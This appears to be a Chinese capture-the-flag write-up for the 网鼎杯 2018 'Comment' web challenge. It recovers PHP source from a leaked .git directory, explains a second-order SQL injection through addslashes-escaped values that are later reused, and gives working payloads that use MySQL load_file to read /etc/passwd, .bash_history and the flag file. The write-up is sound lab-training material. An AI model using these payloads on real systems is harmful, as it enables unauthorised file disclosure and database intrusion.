WEB

BUU|[网鼎杯 2018]Comment

Posted by Elli0t on 2020-03-13

涉及.Git源码泄漏,二次注入(可能每一次注入都不构成漏洞,但是如果一起用就可能造成注入)
mysql load_file读取文件函数
1、必须有权限读取并且文件必须完全可读。

1
2
and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限.*/
and (select count(*) from mysql.user)>0 /* 返回错误,应该是管理员给数据库账户降权了*/

2、欲读取文件必须在服务器上
3、必须指定文件完整的路径
4、欲读取文件必须小于max_allowed_packet

解题过程

乍一看,没啥发现。但是往控制台看就会发现有hint

githacker一下,然后得到一个不完整的php文件,再进行恢复
git log --reflog
git reset --hard af36ba2d86ee43cde7b95db513906975cb8ece03

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);//使用反斜线引用字符串(转义)
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

二次注入。
登陆评论(登陆密码爆破得zhangwei666)
构造payload进行发帖。

这里也是一个坑,就是sql语句是换行的,#进行注释只能注释当前行,所以我们这里用/**/进行拼接注释。

123',content=user(),/*
*/#

接下来思路:
查看/etc/passwd发现www用户目录
123',content=(select(load_file('/etc/passwd'))),/*

查看history文件(.bash_history)
123',content=(select(load_file('/home/www/.bash_history'))),/*

发现在/tmp/html下有个.DS_Store文件
用payload查看

结果发现长度不够,那咱们hex编码显示

这里为什么要用hex编码展开了一番讨论,Hex传输(base64编码也是)是为了保证数据的完整性 ,而为什么不同的传输不能显示出来呢?因为有无法识别的编码的问题。用Hex传输后解码会看到F(后面是乱码所以出来的不完整。

123',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
hex解码发现文件名:flag_8946e1ff1ee3e40f.php
123',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
hex解码出flag

参考链接

https://www.cnblogs.com/Tkitn/p/11649255.html
https://www.cnblogs.com/iamstudy/articles/wangding_4th_game_web_writeup.html
二次注入:https://www.jianshu.com/p/746164a91422
mysql load_file在数据库注入中使用:https://www.cnblogs.com/blacksunny/p/8060028.html